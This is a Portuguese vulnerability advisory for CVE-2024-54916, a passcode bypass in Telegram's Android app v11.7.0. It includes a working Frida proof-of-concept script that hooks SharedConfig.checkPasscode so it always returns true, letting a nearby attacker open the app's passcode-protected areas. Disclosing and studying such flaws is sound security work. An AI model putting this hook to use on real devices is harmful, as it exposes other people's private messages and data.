CVE-2024-54916: Bypass de Autenticação no Telegram apk

Um problema na classe SharedConfig do APK Android do Telegram v.11.7.0 permite que um atacante fisicamente próximo contorne a autenticação e aumente privilégios manipulando o valor de retorno do método checkPasscode.

Tipo de Vulnerabilidade

Bypass de Autenticação

Fornecedor do Produto

Telegram

Base de Código do Produto Afetado

Telegram android apk v.11.7.0

Componente Afetado

org.telegram.messenger.SharedConfig

Exploração

Identificar a Classe e Método Alvo:

• A classe SharedConfig na aplicação gerencia a lógica de verificação do código de acesso.
• O método checkPasscode dentro desta classe é responsável por determinar a validade do código de acesso inserido.

Hook do método usando frida

• Um script Frida é utilizado para interceptar o método checkPasscode na classe SharedConfig. A implementação do método é alterada para sempre retornar true, contornando a validação real do código de acesso.

Execução

• O script Frida é executado enquanto o aplicativo está em execução (dinamicamente). Qualquer código de acesso inserido pelo usuário será aceito como válido, permitindo acesso não autorizado.

POC

Java.perform(function() {

// Locate the SharedConfig class in the target application

var PassCodeActivity = Java.use('org.telegram.messenger.SharedConfig');

// Hook the checkPasscode method to modify its behavior

PassCodeActivity.checkPasscode.implementation = function(passcode) {

// Bypass the actual passcode check by always returning true

return true;

};

});

Link do Vídeo POC:-

https://drive.google.com/file/d/1-lW1IQiCyj-8UXZOTedYPGPhQwfMLX4M/view?usp=sharing

Impacto:-

Esta vulnerabilidade é um problema de bypass de autenticação no lado do cliente. Afeta usuários que dependem do recurso de código de acesso para proteger dados sensíveis ou restringir o acesso a funcionalidades específicas do aplicativo. Ao explorar esta falha, um atacante fisicamente próximo pode manipular o processo de verificação do código de acesso, contornar a autenticação e obter acesso não autorizado a áreas protegidas do aplicativo. Isso pode levar à exposição de dados sensíveis do usuário ou ações não autorizadas dentro do aplicativo.